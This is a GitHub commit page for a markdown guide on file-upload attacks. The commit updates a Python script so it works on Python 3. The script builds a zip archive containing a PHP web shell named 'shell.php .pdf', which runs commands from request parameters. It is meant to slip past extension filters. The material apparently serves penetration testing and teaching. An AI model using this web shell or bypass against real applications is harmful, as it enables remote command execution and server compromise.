Update file-upload.md / Replace cStringIO by io

Originally, I wrote the script for the little trick "Decompress with a different name" with the module "cStringIo". I don't remember why exactly, but when tested again at home to write about this stuff, I found that cStringIo is not present anymore on python3. It works with python2.7, but `io` is better because it works with both modules.

And, I wrote " we can reuse the previous script". That's not true haha !

I think this is better to keep consistency with your previous work, and have more compatibility with different python version.

Let me know if it's ok for you. Thanks !
This commit is contained in:
kibatche 2023-09-25 18:02:57 +02:00 committed by GitHub
parent 28f1175b58
commit 86f9653abf
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 4 deletions

View File

@ -222,13 +222,11 @@ Sometimes an application will block the loading of a file by checking its extens
We can reuse the previous script to make a zip file.
```python
#!/usr/bin/python
import zipfile
from cStringIO import StringIO
from io import BytesIO
def create_zip():
f = StringIO()
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
z.close()